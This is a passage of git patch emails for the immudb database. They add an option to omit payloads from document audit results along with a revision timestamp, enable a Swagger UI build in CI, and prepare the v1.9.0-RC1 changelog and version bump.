h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= @@ -1803,7 +1802,6 @@ golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.7.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.11.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.12.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.13.0 h1:Af8nKPmuFypiUBjVoU9V20FiaFXOcuZI21p0ycVYYGE= golang.org/x/sys v0.13.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw= @@ -1818,7 +1816,6 @@ golang.org/x/term v0.6.0/go.mod h1:m6U89DPEgQRMq3DNkDClhWw02AUbt2daBVO4cn4Hv9U= golang.org/x/term v0.7.0/go.mod h1:P32HKFT3hSsZrRxla30E9HqToFYAQPCMs/zFMBUFqPY= golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo= golang.org/x/term v0.11.0/go.mod h1:zC9APTIj3jG3FdV/Ons+XE1riIZXG4aZ4GTHiPZJPIU= -golang.org/x/term v0.12.0/go.mod h1:owVbMEjm3cBLCHdkQu9b1opXd4ETQWc3BhuQGKgXgvU= golang.org/x/term v0.13.0 h1:bb+I9cTfFazGW51MZqBVmZy7+JEJMouUHTUSKVQLBek= golang.org/x/term v0.13.0/go.mod h1:LTmsnFJwVN6bCy1rVCoS+qHT1HhALEFxKncY3WNNh4U= golang.org/x/text v0.0.0-20170915032832-14c0d48ead0c/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= From a6c0f73d6351580b1fe380c2abf7117a2798c77b Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 11 Oct 2023 11:59:28 +0200 Subject: [PATCH 0847/1062] feat(embedded/document): doc audit without retrieving payloads Signed-off-by: Jeronimo Irazabal --- embedded/document/engine.go | 60 ++++++++++++++++++++------------ embedded/document/engine_test.go | 4 +-- 2 files changed, 39 insertions(+), 25 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index a10aa08f8e..1ee0168064 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -1072,7 +1072,7 @@ func (e *Engine) GetEncodedDocument(ctx context.Context, collectionName string, } // AuditDocument returns the audit history of a document. -func (e *Engine) AuditDocument(ctx context.Context, collectionName string, docID DocumentID, desc bool, offset uint64, limit int) ([]*protomodel.DocumentAtRevision, error) { +func (e *Engine) AuditDocument(ctx context.Context, collectionName string, docID DocumentID, desc bool, offset uint64, limit int, includePayload bool) ([]*protomodel.DocumentAtRevision, error) { err := validateCollectionName(collectionName) if err != nil { return nil, err @@ -1097,12 +1097,18 @@ func (e *Engine) AuditDocument(ctx context.Context, collectionName string, docID results := make([]*protomodel.DocumentAtRevision, 0) for _, valRef := range valRefs { - docAtRevision, err := e.getDocument(searchKey, valRef) + docAtRevision, err := e.getDocument(searchKey, valRef, includePayload) + if err != nil { + return nil, err + } + + hdr, err := e.sqlEngine.GetStore().ReadTxHeader(valRef.Tx(), false, false) if err != nil { return nil, err } docAtRevision.DocumentId = docID.EncodeToHexString() + docAtRevision.Ts = hdr.Ts docAtRevision.Revision = valRef.HC() results = append(results, docAtRevision) @@ -1241,10 +1247,14 @@ func (e *Engine) getKeyForDocument(ctx context.Context, sqlTx *sql.SQLTx, collec return searchKey, nil } -func (e *Engine) getDocument(key []byte, valRef store.ValueRef) (docAtRevision *protomodel.DocumentAtRevision, err error) { - encodedDocVal, err := valRef.Resolve() - if err != nil { - return nil, mayTranslateError(err) +func (e *Engine) getDocument(key []byte, valRef store.ValueRef, includePayload bool) (docAtRevision *protomodel.DocumentAtRevision, err error) { + var encodedDocVal []byte + + if includePayload { + encodedDocVal, err = valRef.Resolve() + if err != nil { + return nil, mayTranslateError(err) + } } encDoc := &EncodedDocument{ @@ -1268,28 +1278,32 @@ func (e *Engine) getDocument(key []byte, valRef store.ValueRef) (docAtRevision * }, nil } - voff := sql.EncLenLen + sql.EncIDLen + var doc *structpb.Struct - // DocumentIDField - _, n, err := sql.DecodeValue(encDoc.EncodedDocument[voff:], sql.BLOBType) - if err != nil { - return nil, mayTranslateError(err) - } + if includePayload { + voff := sql.EncLenLen + sql.EncIDLen + + // DocumentIDField + _, n, err := sql.DecodeValue(encDoc.EncodedDocument[voff:], sql.BLOBType) + if err != nil { + return nil, mayTranslateError(err) + } - voff += n + sql.EncIDLen + voff += n + sql.EncIDLen - // DocumentBLOBField - encodedDoc, _, err := sql.DecodeValue(encDoc.EncodedDocument[voff:], sql.BLOBType) - if err != nil { - return nil, mayTranslateError(err) - } + // DocumentBLOBField + encodedDoc, _, err := sql.DecodeValue(encDoc.EncodedDocument[voff:], sql.BLOBType) + if err != nil { + return nil, mayTranslateError(err) + } - docBytes := encodedDoc.RawValue().([]byte) + docBytes := encodedDoc.RawValue().([]byte) - doc := &structpb.Struct{} - err = proto.Unmarshal(docBytes, doc) - if err != nil { - return nil, err + doc = &structpb.Struct{} + err = proto.Unmarshal(docBytes, doc) + if err != nil { + return nil, err + } } return &protomodel.DocumentAtRevision{ diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index 8673df01ef..c983d35e8a 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -578,7 +578,7 @@ func TestDocumentAudit(t *testing.T) { }) // get document audit - res, err := engine.AuditDocument(context.Background(), collectionName, docID, false, 0, 10) + res, err := engine.AuditDocument(context.Background(), collectionName, docID, false, 0, 10, true) require.NoError(t, err) require.Len(t, res, 2) @@ -626,7 +626,7 @@ func TestDocumentAudit(t *testing.T) { require.ErrorIs(t, err, ErrNoMoreDocuments) }) - res, err = engine.AuditDocument(context.Background(), collectionName, docID, false, 0, 10) + res, err = engine.AuditDocument(context.Background(), collectionName, docID, false, 0, 10, true) require.NoError(t, err) require.Len(t, res, 3) } From ad899481bfef1c56ccf7c437167fb06d64b469a8 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 11 Oct 2023 12:00:13 +0200 Subject: [PATCH 0848/1062] chore(pkg/database): doc audit without retrieving payloads Signed-off-by: Jeronimo Irazabal --- pkg/database/document_database.go | 2 +- pkg/database/document_database_test.go | 18 ++++++++++++++++++ 2 files changed, 19 insertions(+), 1 deletion(-) diff --git a/pkg/database/document_database.go b/pkg/database/document_database.go index 7611950f32..9a17d4dcd0 100644 --- a/pkg/database/document_database.go +++ b/pkg/database/document_database.go @@ -306,7 +306,7 @@ func (d *db) AuditDocument(ctx context.Context, req *protomodel.AuditDocumentReq return nil, fmt.Errorf("%w: invalid document id", err) } - revisions, err := d.documentEngine.AuditDocument(ctx, req.CollectionName, docID, req.Desc, offset, limit) + revisions, err := d.documentEngine.AuditDocument(ctx, req.CollectionName, docID, req.Desc, offset, limit, !req.OmitPayload) if err != nil { return nil, fmt.Errorf("%w: error fetching document history", err) } diff --git a/pkg/database/document_database_test.go b/pkg/database/document_database_test.go index 741f6759b8..d0d611572f 100644 --- a/pkg/database/document_database_test.go +++ b/pkg/database/document_database_test.go @@ -546,6 +546,24 @@ func TestDocumentDB_WithDocuments(t *testing.T) { require.EqualValues(t, 1, countResp.Count) }) + t.Run("should pass when auditing document without requesting payloads", func(t *testing.T) { + resp, err := db.AuditDocument(context.Background(), &protomodel.AuditDocumentRequest{ + CollectionName: collectionName, + DocumentId: docID, + Page: 1, + PageSize: 10, + OmitPayload: true, + }) + require.NoError(t, err) + require.Len(t, resp.Revisions, 2) + + for _, rev := range resp.Revisions { + require.Nil(t, rev.Document) + require.Equal(t, docID, rev.DocumentId) + require.Equal(t, "admin", rev.Username) + } + }) + t.Run("should pass when auditing document", func(t *testing.T) { resp, err := db.AuditDocument(context.Background(), &protomodel.AuditDocumentRequest{ CollectionName: collectionName, From ed6ad99a713cee5a8f698db1c13540ecdad475cf Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 11 Oct 2023 12:00:44 +0200 Subject: [PATCH 0849/1062] feat(pkg/api): docAudit returning timestamp and possibility to omit payloads Signed-off-by: Jeronimo Irazabal --- pkg/api/openapi/apidocs.swagger.json | 12 ++++++++-- pkg/api/proto/documents.proto | 5 +++- pkg/api/protomodel/docs.md | 2 ++ pkg/api/protomodel/documents.pb.go | 36 +++++++++++++++++++++------- 4 files changed, 44 insertions(+), 11 deletions(-) diff --git a/pkg/api/openapi/apidocs.swagger.json b/pkg/api/openapi/apidocs.swagger.json index 6998ee8340..e394bc7e1e 100644 --- a/pkg/api/openapi/apidocs.swagger.json +++ b/pkg/api/openapi/apidocs.swagger.json @@ -790,12 +790,16 @@ "pageSize": { "type": "integer", "format": "int64" + }, + "omitPayload": { + "type": "boolean" } }, "required": [ "desc", "page", - "pageSize" + "pageSize", + "omitPayload" ] }, "modelAuditDocumentResponse": { @@ -973,6 +977,10 @@ }, "username": { "type": "string" + }, + "ts": { + "type": "string", + "format": "int64" } }, "required": [ @@ -1687,4 +1695,4 @@ "ApiKeyAuth": [] } ] -} \ No newline at end of file +} diff --git a/pkg/api/proto/documents.proto b/pkg/api/proto/documents.proto index 354e53b796..a3edb37db7 100644 --- a/pkg/api/proto/documents.proto +++ b/pkg/api/proto/documents.proto @@ -447,6 +447,7 @@ message DocumentAtRevision { DocumentMetadata metadata = 4; google.protobuf.Struct document = 5; string username = 6; + int64 ts = 7; } message DocumentMetadata { @@ -493,7 +494,8 @@ message AuditDocumentRequest { "documentId", "desc", "page", - "pageSize" + "pageSize", + "omitPayload" ] } }; @@ -503,6 +505,7 @@ message AuditDocumentRequest { bool desc = 3; uint32 page = 4; uint32 pageSize = 5; + bool omitPayload = 6; } message AuditDocumentResponse { diff --git a/pkg/api/protomodel/docs.md b/pkg/api/protomodel/docs.md index c056479c47..b324ca94d0 100644 --- a/pkg/api/protomodel/docs.md +++ b/pkg/api/protomodel/docs.md @@ -214,6 +214,7 @@ | desc | [bool](#bool) | | | | page | [uint32](#uint32) | | | | pageSize | [uint32](#uint32) | | | +| omitPayload | [bool](#bool) | | | @@ -428,6 +429,7 @@ | metadata | [DocumentMetadata](#immudb.model.DocumentMetadata) | | | | document | [google.protobuf.Struct](#google.protobuf.Struct) | | | | username | [string](#string) | | | +| ts | [int64](#int64) | | | diff --git a/pkg/api/protomodel/documents.pb.go b/pkg/api/protomodel/documents.pb.go index 002888450d..21dcb5d06e 100644 --- a/pkg/api/protomodel/documents.pb.go +++ b/pkg/api/protomodel/documents.pb.go @@ -1863,6 +1863,7 @@ type DocumentAtRevision struct { Metadata *DocumentMetadata `protobuf:"bytes,4,opt,name=metadata,proto3" json:"metadata,omitempty"` Document *structpb.Struct `protobuf:"bytes,5,opt,name=document,proto3" json:"document,omitempty"` Username string `protobuf:"bytes,6,opt,name=username,proto3" json:"username,omitempty"` + Ts int64 `protobuf:"varint,7,opt,name=ts,proto3" json:"ts,omitempty"` } func (x *DocumentAtRevision) Reset() { @@ -1939,6 +1940,13 @@ func (x *DocumentAtRevision) GetUsername() string { return "" } +func (x *DocumentAtRevision) GetTs() int64 { + if x != nil { + return x.Ts + } + return 0 +} + type DocumentMetadata struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -2090,6 +2098,7 @@ type AuditDocumentRequest struct { Desc bool `protobuf:"varint,3,opt,name=desc,proto3" json:"desc,omitempty"` Page uint32 `protobuf:"varint,4,opt,name=page,proto3" json:"page,omitempty"` PageSize uint32 `protobuf:"varint,5,opt,name=pageSize,proto3" json:"pageSize,omitempty"` + OmitPayload bool `protobuf:"varint,6,opt,name=omitPayload,proto3" json:"omitPayload,omitempty"` } func (x *AuditDocumentRequest) Reset() { @@ -2159,6 +2168,13 @@ func (x *AuditDocumentRequest) GetPageSize() uint32 { return 0 } +func (x *AuditDocumentRequest) GetOmitPayload() bool { + if x != nil { + return x.OmitPayload + } + return false +} + type AuditDocumentResponse struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -2588,7 +2604,7 @@ var file_documents_proto_rawDesc = []byte{ 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x3a, 0x1c, 0x92, 0x41, 0x19, 0x0a, 0x17, 0xd2, 0x01, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x64, 0xd2, 0x01, 0x09, - 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0xb2, 0x02, 0x0a, 0x12, 0x44, 0x6f, + 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0xc2, 0x02, 0x0a, 0x12, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, @@ -2604,7 +2620,8 @@ var file_documents_proto_rawDesc = []byte{ 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, - 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x3a, + 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, + 0x0e, 0x0a, 0x02, 0x74, 0x73, 0x18, 0x07, 0x20, 0x01, 0x28, 0x03, 0x52, 0x02, 0x74, 0x73, 0x3a, 0x2d, 0x92, 0x41, 0x2a, 0x0a, 0x28, 0xd2, 0x01, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0xd2, 0x01, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0xd2, 0x01, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0x3d, @@ -2621,7 +2638,7 @@ var file_documents_proto_rawDesc = []byte{ 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x05, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x3a, 0x0d, 0x92, 0x41, 0x0a, 0x0a, 0x08, 0xd2, 0x01, 0x05, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x22, - 0xe0, 0x01, 0x0a, 0x14, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x90, 0x02, 0x0a, 0x14, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x26, 0x0a, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, @@ -2631,11 +2648,14 @@ var file_documents_proto_rawDesc = []byte{ 0x64, 0x65, 0x73, 0x63, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x70, 0x61, 0x67, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x70, 0x61, 0x67, 0x65, - 0x53, 0x69, 0x7a, 0x65, 0x3a, 0x3c, 0x92, 0x41, 0x39, 0x0a, 0x37, 0xd2, 0x01, 0x0e, 0x63, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0xd2, 0x01, 0x0a, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0xd2, 0x01, 0x04, 0x64, 0x65, 0x73, 0x63, - 0xd2, 0x01, 0x04, 0x70, 0x61, 0x67, 0x65, 0xd2, 0x01, 0x08, 0x70, 0x61, 0x67, 0x65, 0x53, 0x69, - 0x7a, 0x65, 0x22, 0x6a, 0x0a, 0x15, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, + 0x53, 0x69, 0x7a, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x6f, 0x6d, 0x69, 0x74, 0x50, 0x61, 0x79, 0x6c, + 0x6f, 0x61, 0x64, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x6f, 0x6d, 0x69, 0x74, 0x50, + 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x3a, 0x4a, 0x92, 0x41, 0x47, 0x0a, 0x45, 0xd2, 0x01, 0x0e, + 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0xd2, 0x01, + 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0xd2, 0x01, 0x04, 0x64, 0x65, + 0x73, 0x63, 0xd2, 0x01, 0x04, 0x70, 0x61, 0x67, 0x65, 0xd2, 0x01, 0x08, 0x70, 0x61, 0x67, 0x65, + 0x53, 0x69, 0x7a, 0x65, 0xd2, 0x01, 0x0b, 0x6f, 0x6d, 0x69, 0x74, 0x50, 0x61, 0x79, 0x6c, 0x6f, + 0x61, 0x64, 0x22, 0x6a, 0x0a, 0x15, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x3e, 0x0a, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, From e3fb0dbcba701f12fff45d5c45697e8a966cc67c Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 11 Oct 2023 13:48:55 +0200 Subject: [PATCH 0850/1062] chore: build with swaggerui Signed-off-by: Jeronimo Irazabal --- .github/workflows/pull.yml | 2 +- .github/workflows/push.yml | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/.github/workflows/pull.yml b/.github/workflows/pull.yml index c259caa9a3..2fe442240c 100644 --- a/.github/workflows/pull.yml +++ b/.github/workflows/pull.yml @@ -78,7 +78,7 @@ jobs: - name: Build with webconsole run: | sudo apt update && sudo apt install curl -y - WEBCONSOLE=default make all + WEBCONSOLE=default SWAGGER=true make all if: "!matrix.noWebconsole" - name: Build without webconsole diff --git a/.github/workflows/push.yml b/.github/workflows/push.yml index 574f3ee34f..987b8bf917 100644 --- a/.github/workflows/push.yml +++ b/.github/workflows/push.yml @@ -56,7 +56,7 @@ jobs: go-version: ${{ env.GO_VERSION }} - uses: actions/checkout@v3 - name: Build binaries - run: WEBCONSOLE=default make dist + run: WEBCONSOLE=default SWAGGER=true make dist - id: list-binaries run: | echo "matrix=$(ls dist | jq -R -s -c 'split("\n")[:-1] | {binary: .}')" >> $GITHUB_OUTPUT From 0a2992d0bfcde383379081a10cd1d12af68c486b Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 11 Oct 2023 14:58:10 +0200 Subject: [PATCH 0851/1062] release: v1.9.0-RC1 --- CHANGELOG.md | 147 ++++++++++++++++++++++++++++++++++++++++++++++++++- Makefile | 2 +- 2 files changed, 147 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 0fee95dca2..2617a9c053 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,6 +4,150 @@ All notable changes to this project will be documented in this file. This projec ## [Unreleased] + +## [v1.9.0-RC1] - 2023-10-11 +### Bug Fixes +- correct immudb name in readme +- allow the local id to be used if present even if remote flag is on +- apply fixes discussed in PR +- insertion ts for key-values should not be equal to the current root ts +- **Makefile:** remove webconsole tag from immuclient/immuadmin builds +- **embedded/appendable:** explicit freebsd build clauses +- **embedded/document:** ensure multi-indexing is enabled +- **embedded/document:** avoid waiting for tx to be committed +- **embedded/sql:** advance position when decoding value at deleted column +- **embedded/store:** use correct index path +- **embedded/store:** handle transient key update +- **embedded/store:** read lock when fetching indexer +- **embedded/store:** precommitted transaction discarding recedes durable state +- **embedded/store:** read lock when pausing indexers +- **embedded/tbtree:** snapshot validation +- **embedded/tbtree:** consider offset for history count calculation +- **embedded/tbtree:** proper _rev calculation +- **pkg/server:** buffer reuse + +### Changes +- build with swaggerui +- unnecessary use of fmt.Sprintf +- use copy instead of a loop +- align covered packages when pulling and merging +- unnecessary use of fmt.Sprintf +- **cmd/immuclient:** display raw column selector in table header +- **deps:** bump golang.org/x/net from 0.10.0 to 0.12.0 +- **deps:** bump golang.org/x/crypto from 0.10.0 to 0.11.0 +- **deps:** bump golang.org/x/crypto from 0.13.0 to 0.14.0 +- **deps:** bump golang.org/x/crypto from 0.12.0 to 0.13.0 +- **deps:** bump golang.org/x/sys from 0.9.0 to 0.10.0 +- **deps:** bump golang.org/x/net from 0.14.0 to 0.15.0 +- **deps:** bump google.golang.org/grpc +- **deps:** bump golang.org/x/sys from 0.11.0 to 0.12.0 +- **deps:** bump google.golang.org/grpc in /test/e2e/truncation +- **deps:** bump google.golang.org/grpc +- **deps:** bump golang.org/x/net from 0.15.0 to 0.17.0 +- **deps:** bump github.com/grpc-ecosystem/grpc-gateway/v2 +- **deps:** bump securego/gosec from 2.15.0 to 2.17.0 +- **deps:** bump golang.org/x/sys from 0.10.0 to 0.11.0 +- **deps:** bump golang.org/x/crypto from 0.7.0 to 0.10.0 +- **deps:** bump golang.org/x/net from 0.12.0 to 0.13.0 +- **deps:** bump google.golang.org/grpc from 1.55.0 to 1.56.2 +- **deps:** bump golang.org/x/net from 0.13.0 to 0.14.0 +- **embedded/document:** register username when applying a change +- **embedded/document:** enable multi-indexing in doc engine tests +- **embedded/document:** encoded document using valRef +- **embedded/document:** attach username when auditing document +- **embedded/sql:** post-commit physical index deletion +- **embedded/sql:** uuid decoding +- **embedded/sql:** improve internal index naming +- **embedded/sql:** use declared constant for fixed ids +- **embedded/sql:** insertion benchmark +- **embedded/sql:** historical queries over primary index +- **embedded/sql:** dynamic indexing +- **embedded/sql:** deletion of primary index path +- **embedded/sql:** multi-snapshop mvvc +- **embedded/sql:** temporal queries with multi-indexing +- **embedded/sql:** transactional drops +- **embedded/sql:** unique index creation supported on empty tables +- **embedded/sql:** support parenthesis as datatype constraint delimiter +- **embedded/store:** multi-indexing +- **embedded/store:** ensure index is erased from disk +- **embedded/store:** wip multi-indexing +- **embedded/store:** history returning value refs +- **embedded/store:** indexer alloc its tx +- **embedded/store:** remove metastate +- **embedded/store:** history with rev count +- **embedded/store:** injective index mapper +- **embedded/store:** ensure snapshot up to date +- **embedded/store:** indexing callbacks +- **embedded/store:** key reader including historical entries +- **embedded/store:** indexing prefix +- **embedded/store:** entry mapper +- **embedded/tbtree:** value-preserving history +- **embedded/tbtree:** hcount serialization +- **embedded/tbtree:** fetching historical values +- **embedded/tbtree:** wip value-preserving history +- **embedded/tbtree:** value-preserving history +- **embedded/tbtree:** context propagation +- **pkg/api:** adjust doc serializations to match verification +- **pkg/api:** endpoint improvements +- **pkg/client:** add setAll to immuclient mock +- **pkg/client:** use buf for msg exchange +- **pkg/database:** context propagation +- **pkg/database:** context propagation +- **pkg/database:** fix remote storage paths +- **pkg/database:** increase delay when tx is not present +- **pkg/database:** keept reading from specific tx +- **pkg/database:** multi-indexing database +- **pkg/database:** doc audit without retrieving payloads +- **pkg/database:** register username when applying a change +- **pkg/database:** fix remote storage paths +- **pkg/database:** mandatory wait with async replication +- **pkg/database:** kv count +- **pkg/server:** register username when applying a change in doc apis +- **pkg/server:** minor code adjustment +- **pkg/stdlib:** non transactional ddl stmts +- **pkg/truncator:** use embedded/logger package +- **pkg/verification:** minor doc verification improvements +- **swagger:** use embedded logger package +- **tests:** Tests cleanup + +### Code Refactoring +- **pkg/logger:** move logger from pkg to embedded + +### Features +- update readme +- prevent identifier from creation when use external id option +- pass logger to heartbeater +- add flag for using external id as a main one +- **embedded/document:** register user when creating collection +- **embedded/document:** doc audit without retrieving payloads +- **embedded/document:** remove field from collection +- **embedded/document:** add field to collection +- **embedded/sql:** async multi-indexing +- **embedded/sql:** extra metadata when creating tx +- **embedded/sql:** include _rev column in historical queries +- **embedded/sql:** drop index and table stmts +- **embedded/sql:** table history +- **embedded/sql:** query including historical rows +- **embedded/sql:** dynamic multi-indexing +- **embedded/sql:** wip uuid datatype support +- **embedded/sql:** drop column stmt +- **embedded/store:** use index attribute in kv metadata +- **embedded/store:** getBetween +- **embedded/store:** extra tx metadata +- **embedded/store:** transactionaless multi-indexing +- **embedded/tbtree:** getBetween +- **embedded/tbtree:** key reader supporting historical values +- **pkg/api:** docAudit returning timestamp and possibility to omit payloads +- **pkg/api:** re-enable swagger ui +- **pkg/api:** include username in document audit response +- **pkg/api:** add field and remove field endpoints +- **pkg/database:** add user when creating collection +- **pkg/server:** add user when creating collection + +### Reverts +- chore: remove initial swagger support + + ## [v1.5.0] - 2023-06-20 ### Bug Fixes @@ -3593,7 +3737,8 @@ All notable changes to this project will be documented in this file. This projec - **tree:** MTH reference impl -[Unreleased]: https://github.com/vchain-us/immudb/compare/v1.5.0...HEAD +[Unreleased]: https://github.com/vchain-us/immudb/compare/v1.9.0-RC1...HEAD +[v1.9.0-RC1]: https://github.com/vchain-us/immudb/compare/v1.5.0...v1.9.0-RC1 [v1.5.0]: https://github.com/vchain-us/immudb/compare/v1.5.0-RC1...v1.5.0 [v1.5.0-RC1]: https://github.com/vchain-us/immudb/compare/v1.4.1...v1.5.0-RC1 [v1.4.1]: https://github.com/vchain-us/immudb/compare/v1.4.1-RC1...v1.4.1 diff --git a/Makefile b/Makefile index 553cbdb2e1..4db3a32220 100644 --- a/Makefile +++ b/Makefile @@ -16,7 +16,7 @@ export GO111MODULE=on SHELL=/bin/bash -o pipefail -VERSION=1.5.0 +VERSION=1.9.0-RC1 DEFAULT_WEBCONSOLE_VERSION=1.0.18 SERVICES=immudb immuadmin immuclient TARGETS=linux/amd64 windows/amd64 darwin/amd64 linux/s390x linux/arm64 freebsd/amd64 darwin/arm64 From 6ed934b5100762173835aecad84620d9b4660de2 Mon Sep 17 00:00:00 2001 From: Jeronimo Date: Thu, 12 Oct 2023 11:22:05 +0200 Subject: [PATCH 0852/1062] Update README.md --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 66f004b276..ac4520a1a6 100644 --- a/README.md +++ b/README.md @@ -14,6 +14,7 @@ custom_edit_url: https://github.com/codenotary/immudb/edit/master/README.md [![Build Status](https://github.com/codenotary/immudb/actions/workflows/push.yml/badge.svg)](https://github.com/codenotary/immudb/actions/workflows/push.yml) [![Go Report Card](https://goreportcard.com/badge/github.com/codenotary/immudb)](https://goreportcard.com/report/github.com/codenotary/immudb) [![Coverage](https://coveralls.io/repos/github/codenotary/immudb/badge.svg?branch=master&kill_cache=1)](https://coveralls.io/github/codenotary/immudb?branch=master&kill_cache=1) +![View 